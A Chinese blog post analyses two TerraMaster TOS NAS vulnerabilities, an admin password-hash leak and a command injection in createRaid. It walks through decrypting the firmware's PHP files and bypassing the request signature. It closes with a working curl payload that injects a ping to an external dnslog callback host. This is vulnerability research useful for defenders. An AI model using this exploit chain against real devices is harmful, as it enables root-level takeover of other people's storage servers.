铁威马TerraMaster CVE-2022-24990&CVE-2022-24989分析报告
liebian365 2024-11-21 17:36 31 浏览 0 评论
概述
Terramaster TOS是一款基于Linux平台的、专用于TerraMaster云存储NAS服务器的操作系统。Terramaster TOS 4.2.29版本存在漏洞,可能允许经过身份验证的远程攻击者在系统上执行任意命令,这是由 createRaid 模块中的缺陷引起的。通过发送特制命令,攻击者可以利用此漏洞在系统上以 root 身份执行任意命令。最新版本已对漏洞进行修补,建议更新到最新版本。
固件分析
从官网下载固件,这里我们选择F2-220 4.2.28版本。
铁威马使用nginx,解压后在/etc/nginx/nginx.conf中可以找到相关配置。
查看/usr/www发现php文件均被加密,使用二进制工具查看。
可以看到前面32个字节为一串数字加上\0字符,从第33个字节开始为乱码。查看多个php文件均出现上诉情况,且前16个字节一样,16字节开始的几个字节与文件大小相关。有理由相信使用同一种加密方式加密。查询相关资料,发现铁威马曾使用GH65Hws2jedf3fl3MeK进行加密。对php解释器(位于usr/sbin/php)进行查找,未发现相关字符串。再直接在文件夹中进行字符匹配,最终在/usr/lib/php/modules/php_terra_master.so中找到该字符串。
定位到相关代码
FILE *__fastcall pm9screw_ext_fopen(FILE *stream)
{
v2 = 16LL;
v3 = v28;
while ( v2 )
{
*v3 = 0;
v3 = (v3 + 4);
--v2;
}
v4 = 16LL;
v5 = v29;
while ( v4 )
{
*v5 = 0;
v5 = (v5 + 4);
--v4;
}
yek(v28); //新key
v6 = md5(v28);
v28[0] = *v6;
v28[1] = v6[1];
oldyek(v29); //旧key
v7 = md5(v29);
v29[0] = *v7;
v27 = v29[0];
v29[1] = v7[1];
s2 = v28[0];
*nptr = 0LL;
v8 = fileno(stream);
sub_3A50(v8, &stat_buf);
v24 = stat_buf.st_size;
v9 = malloc(0x200000uLL);
v10 = v24;
*v9 = 0LL;
v11 = v9;
fread(v9, v10, 1uLL, stream);
v22 = teg_yek(stream);
fclose(stream);
v12 = memcmp(v11, &s2, 0x10uLL);
v13 = v22;
if ( !v12 )
{
v14 = v24;
for ( i = 16LL; v14 > i; ++i )
{
v16 = v11[i];
if ( i > 31 )
v11[i - 32] = v16;
else
v23[i] = v16;
}
v17 = v28;
LABEL_23:
screw_aes(0LL, v11, v14, v17, &v24, v13); // 加密函数
v24 = atoi(nptr);
goto LABEL_24;
}
if ( !memcmp(v11, &v27, 0x10uLL) )
{
v14 = v24;
v13 = v22;
for ( j = 16LL; j < v14; ++j )
{
v19 = v11[j];
if ( j > 31 )
v11[j - 32] = v19;
else
v23[j] = v19;
}
v17 = v29;
goto LABEL_23;
}
LABEL_24:
v20 = tmpfile64();
fwrite(v11, v24, 1uLL, v20);
free(v11);
rewind(v20);
return v20;
}
从函数名字可以看出该加密与aes有关,且名称与screw有关。在github搜索screw,存在相关代码。
下载后编译,名称为screw,定位到加密函数
void __fastcall screw_encrypt(const char *a1)
{
memset(s, 0, sizeof(s));
memset(&key, 0, 0x40uLL);
v1 = (const void *)md5("FwWpZKxH7twCAG4JQMO");
memcpy(&key, v1, 0x20uLL);
enTag = key;
qword_C428 = qword_C3E8;
stream = fopen(a1, "rb");
if ( !stream )
{
fprintf(stderr, "File not found(%s)", a1);
exit(0);
}
v2 = fileno(stream);
fstat(v2, &v6);
v5 = v6.st_size;
ptr = malloc(0x200000uLL);
memset(ptr, 0, 8uLL);
fread(ptr, (int)v5, 1uLL, stream);
fclose(stream);
sprintf(s, "%d", v5);
if ( !memcmp(ptr, &enTag, 0x10uLL) )
{
errMsg(a1, " Already Crypted");
}
else if ( (int)v5 > 0 )
{
screw_aes(1LL, ptr, v5, &key, &v5); //加密函数
stream = fopen(a1, "wb");
if ( !stream )
{
errMsg("Can not create crypt file(%s)", v4);
exit(0);
}
fwrite(&enTag, 0x10uLL, 1uLL, stream);
fwrite(s, 0x10uLL, 1uLL, stream);
fwrite(ptr, (int)v5, 1uLL, stream);
fclose(stream);
alertMsg("Success Crypting - ", a1);
free(ptr);
}
else
{
errMsg(a1, " will not be crypted");
}
}
可以发现该加密函数与php_terra_master.so中的加密函数高度相似,也就是说php_terra_master.so中的函数是在原函数基础上做了一些小改动。经过分析,主要存在下面2个改变:
一. 2个 key
其中1个key就是GH65Hws2jedf3fl3MeK,也就是oldkey,将screw中的key替换为GH65Hws2jedf3fl3MeK,将一个phpdemo进行加密,加密后如下:
可以发现demo加密后格式与目标基本一致,只是前面16个字节不相同。
另外1个key也就是newkey就有点意思了。
__int64 __fastcall yek(__int64 a1)
{
for ( result = 0LL; result != 32; ++result )
{
if ( (result & 1) != 0 )
v2 = CAONIM[2 * result]; //newkey
else
v2 = CAONIM[result];
*(a1 + result) = v2;
}
return result;
}
可以看到这个变量名起的就很有个性,再看一下对应的字符串。
只能说感受到了开发人员的良苦用心,最后得到的key为I''o0aot2eaoyota45eaedot6aoitlae,再次将demo进行加密。
可以看到demo文件加密出来的文件与我们需要解密的文件基本一致,前面16个字节的标志也相同,不过这样是解密不出来的,这就涉及到了第二个变化。
二.screw_aes加密函数多了个参数
跟进去发现该函数在加密后,与某个数进行了异或。
__int64 __fastcall screw_aes(int a1, __int64 a2, int a3, _DWORD *a4, _DWORD *a5, int a6)
{
v19 = (a3 % 16 != 0) + a3 / 16;
if ( a6 == -1 )
{
v9 = get_random1();
v10 = get_dom2();
}
else
{
v9 = a6;
v10 = a6;
}
v11 = v20;
v12 = 64LL;
v13 = a4;
while ( v12 )
{
*v11 = *v13++;
v11 += 4;
--v12;
}
if ( a1 )
aes_setkey_enc(v21, v20, 256LL);
else
aes_setkey_dec(v21, v20, 256LL);
for ( i = 0; i < v19; ++i )
{
v14 = 0LL;
if ( a1 )
{
aes_crypt_cbc(v21, 1LL, 16LL, a4, a2, a2);
for ( j = 0LL; j != 16; ++j )
*(a2 + j) ^= v9; //异或
}
else
{
do
*(a2 + v14++) ^= v10; //异或
while ( v14 != 16 );
aes_crypt_cbc(v21, 0LL, 16LL, a4, a2, a2);
}
a2 += 16LL;
}
result = (16 * v19);
*a5 = result;
return result;
}
追踪该参数,定位参数来源函数
char __fastcall teg_yek(FILE *a1)
{
v1 = fileno(a1);
php_sprintf(v5, "/proc/self/fd/%d", v1);
v2 = readlink(v5, buf, 0x100uLL); //读取文件名
v3 = -1;
if ( v2 >= 0 )
v3 = v5[v2 + 251]; //参数来源
return v3;
}
v2为文件路径长度,v3 = v5[v2+251],这里数组大小为256,也就是说取得值为文件名的(251-256)=-5位,也就是文件php后缀.php的前一位。也就是说要解密需要先将加密文件从第32位开始先与php后缀.php的前一位异或,再用screw的解密方式进行解密。到这里解密就完成了。
漏洞分析
CVE-2022-24990:信息泄露
在/usr/www/module/api.php存在这样的代码
如果请求是http://target/module/api.php?aaaa/bbbb,那么$class = aaaa,$function = bbbb。
接下来它会检查$function是否在NO_LOGIN_CHECK数组中,如果不在设置REQUEST_MODE = 1,在的话设置REQUEST_MODE = 0。
然后它会实例化对象,并检查$function是否在$class:$notHeader中,不在的话会有TIME以及SIGNATURE的检查,在的话会调用$function。
通过对$notHeader的搜索,在/usr/www/include/class/mobile.class.php找到相关代码。
在构造函数中主要进行3个检查:
1.判断函数是否在notHeader中,如果不在,判断HTTP_USER_AGENT中是否存在字符串TNAS,以及HTTP_AUTHORIZATION是否设置,只要有1个不存在,则判断HTTP_AUTHORIZATION与REQUESTCODE的值或者REQUESTCODE的sha256加密后的值是否相等,如果都不相等,则输出Illegal request, please use genuine software!并退出。
2.判断REQUEST_MODE是否存在,如果REQUEST_MODE存在,则进行一些SESSION方面的检查。
3.判断函数是否在notCheck中,如果不在,则进行LoginCheck的检查。
我们对比api.php中的NO_LOGIN_CHECK数组以及mobile.class.php中notCheck数组,可以发现NO_LOGIN_CHECK被包含在notCheck数组中,也就是说"webNasIPS", "getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig", "isConnected"这7个函数将会设置REQUEST_MODE为0,同时又在notCheck数组中,这将通过后2个检查。再查看第1个检查,会发现"webNasIPS"和"isConnected"函数能通过。
isConnected很简单,返回publicip
再查看webNasIPS函数
当HTTP_USER_AGENT 为TNAS时,它将返回TOS固件信息,默认网关的IP、mac地址,正在运行的服务及其绑定地址和端口,以及$pwd = hash("sha256", $this->REQUESTCODE)。查询REQUESTCODE,它被定义在/usr/www/include/class/application.class.app,$this->REQUESTCODE = $this->_getpassword();查看_getpassword函数
可以看到webNasIPS返回的$pwd实际上就是admin的密码的hash值。所以这里存在一个严重的信息泄露问题。
CVE-2022-24989: 命令注入
不止如此,再得到了这个hash值后,mobile.class.php的构造函数中的第一个检查,将被通过。也就是说"getDiskList", "createRaid", "getInstallStat", "getIsConfigAdmin", "setAdminConfig"函数也能调用。分别查看这几个函数,注意到"createRaid"函数。
这里需要2个参数raidtype和diskstring,然后会将raidtype的值传入volume_make_from_disks函数,在volume.class.php可以找到该函数的定义。
继续跟进_backexec函数,在func.class.php中找到定义。
可以看到直接将raidtype的值传入到popen函数中,并没有任何检查,所以存在命令注入的可能。
但别忘了还需要绕过api.php中的检查。
搜索tos_encrypt_str,发现它并没有在php脚本中被定义,也就是说它存在与php加载的模块中,最后又在/usr/lib/php/modules/php_terra_master.so中找到了它。
这里会将get_mac_addr函数的返回值与TIMESTAMP拼接起来再求md5值,查看get_mac_addr函数。
这个函数作用是取eth0的mac地址,并以%02x%02x%02x的形式返回最后3位,也就是说如果mac地址为11:22:33:44:55:66,那么将返回445566。由于webNasIPS函数中,存在mac地址,所以到这里就只需要TIMESTAMP的值了,我们可以通过不带对应的http头来获取ctime,再将其转化为时间戳。
漏洞验证
万事俱备,构建payload。
curl -k 'http://{IP:PORT}/module/api.php?mobile/createRaid' -H 'User-Agent: TNAS' -H 'AUTHORIZATION: $1$WKqIJ4Xa$Z.MvA1hLttowrJGwpJCFb0' -H 'TIMESTAMP: 1647196724' -H 'SIGNATURE: 85ea5257a596a846fc919269aa48788a' -d 'raidtype=;ping l49vx5.dnslog.cn -c 1;&diskstring=XXXX'
影响版本
TOS 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。
补丁对比
漏洞在TOS 4.2.30中得到了修补。
CVE-2022-24990修补如下:
CVE-2022-24989修补如下:
参考文献:
https://blog.securityevaluators.com/terramaster-nas-vulnerabilities-discovered-and-exploited-b8e5243e7a63
https://octagon.net/blog/2022/03/07/cve-2022-24990-terrmaster-tos-unauthenticated-remote-command-execution-via-php-object-instantiation/
- 上一篇:csapp之第10章:系统级I?O
- 下一篇:飞控软件架构解析:裸跑还是OS调度
相关推荐
- 深度解密epoll 如何工作的?(epoll基本处理流程)
-
epoll...
- 大乐透第19082期:头奖开出7注1000万分落六地 奖池41亿元
-
2019年7月17日晚开奖的体彩超级大乐透第19082期开奖号码为:前区06、18、20、21、31,后区03、04。本期大乐透前区号码五区比为1:0:3:0:1,二区和四区号码没有给出。当期前区和值...
- 【开奖】4月27日周六:福彩、体彩(2021年4月27日体彩开奖结果)
-
4月27日开奖福彩3D第2019110期:61222选5第2019110期:0812202122排列3第19110期:303排列5第19110期:30305大乐透第19047期:0304...
- “红狒狒”落户哈尔滨铁路局(哈尔滨铁路红肠)
-
这几天,“红人”“红狒狒”在牡丹江机务段可引起了不小的轰动,众粉丝争相与其拍照留念,在该段人气爆棚!“红狒狒”到底何许人也?“红狒狒”,中文名:和谐3D型电力机车;绰号:红狒狒、番茄;制造商:大连机...
- 2D、3D、2.5D,做游戏还是搞噱头?玩家都晕了
-
前言游戏类型就像某种潮流,一种流行罢,另一种接棒成为主流。前两年的新作大多以“开放世界”为标签,在追求纯沙盒的过程中打造出一些细致的分类,比如说“类GTA沙盒”。诚然,纯碎的沙盒游戏并不多见,业内只有...
- 《战神4》PC版宣传片发布 GTX 1070即可60帧畅玩
-
在今年10月的时候索尼PlayStation官方正式宣布圣莫尼卡2018年的《战神4》将于2022年1月14日推出PC版本,官方在今天公布了一段PC版宣传片,并且公开了游戏的配置需求。下面让我们一起来...
- 男星深情好丈夫形象崩塌,半夜搂美女坐大腿,举止亲密
-
近日,于晓光被拍到深夜在酒吧玩,结束后与一名女子一起上车离开。上车后,女子直接坐在了他腿上,他也顺势搂着美女,美女满脸笑容地坐在他腿上玩手机离开。可能有人会好奇,于晓光是谁呢?于晓光是韩国艺人秋瓷炫的...
- d3d12dll丢失怎么修复?d3d12dll加载失败怎么解决?
-
d3d12.dll丢失怎么修复?d3d12.dll加载失败怎么解决?很多朋友想要运行游戏的时候都会遇到这个问题,这种情况该怎么办呢?今天系统之家小编给朋友们讲讲具体的解决方法,操作其实还蛮简单的。...
- 许多玩家反馈《生化4RE》PC一直崩溃 无法进入游戏
-
今日(3月24日),卡普空《生化危机4:重制版》正式发售,然而有部分PC玩家遇到了游戏崩溃等问题。很多玩家在贴吧发帖称游戏遇到了严重的崩溃问题,且经常反复,报错代码普遍为FatalD3Derror...
- 微软正式推出适用于WSL Linux的D3D12 GPU视频加速技术
-
今天,微软正式向WindowsSubsystemforLinux(WSL)用户发布了Direct3D12GPU视频加速支持。在微软通过WSL允许在Linux下使用Open...
- 《怪物猎人:崛起》曙光系统报错“Fatal d3d error”的解决办法
-
《怪物猎人:崛起》曙光系统报错“Fatald3derror”的解决办法不少小伙伴反应《怪物猎人:崛起》DLC曙光预载以后打不开游戏,出现了Fatald3derror类似的错误代码,这类问题的解...
- Mac+双屏,前端程序员的专业配置 - Loctek 乐歌 D3D 双屏电脑显示器支架
-
做FE也有一段日子了,电脑屏幕每天在设计稿、浏览器、IDE、即时通讯工具、Terminal、邮箱之间切换。虽然mac的工作区带来了很多灵活,但是依然略显不足。于是入手支架,把公司配的电脑和显示器发挥起...
- RPC 的原理和简单使用(rpc详解)
-
RPC的概念RPC,RemoteProcedureCall,翻译成中文就是远程过程调用,是一种进程间通信方式。它允许程序调用另一个地址空间(通常是共享网络的另一台机器上)的过程或函数。在调用的...
- 大厂开源的golang微服务rpc框架 — kitex
-
提前rpc估计所有的开发同学都知道,不知道的也无所谓,毕竟我也好几年没用了,今天带大家在复习一下。RPC(RemoteProcedureCall):远程过程调用,...
- 干货!一文掌握Protobuf所有语言所有用法,快收藏
-
说实话,Protobuf这个库,让人相见时难别亦难,东风无力百花残,每次等到要用它的时候,总感觉还没有完全掌握它的用法,而实际上等去百度或者谷歌的时候,教程都是多么的凌乱不堪。学会它,最直接关系到的,...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- wireshark怎么抓包 (75)
- qt sleep (64)
- cs1.6指令代码大全 (55)
- factory-method (60)
- sqlite3_bind_blob (52)
- hibernate update (63)
- c++ base64 (70)
- nc 命令 (52)
- wm_close (51)
- epollin (51)
- sqlca.sqlcode (57)
- lua ipairs (60)
- tv_usec (64)
- 命令行进入文件夹 (53)
- postgresql array (57)
- statfs函数 (57)
- .project文件 (54)
- lua require (56)
- for_each (67)
- c#工厂模式 (57)
- wxsqlite3 (66)
- dmesg -c (58)
- fopen参数 (53)
- tar -zxvf -c (55)
- 速递查询 (52)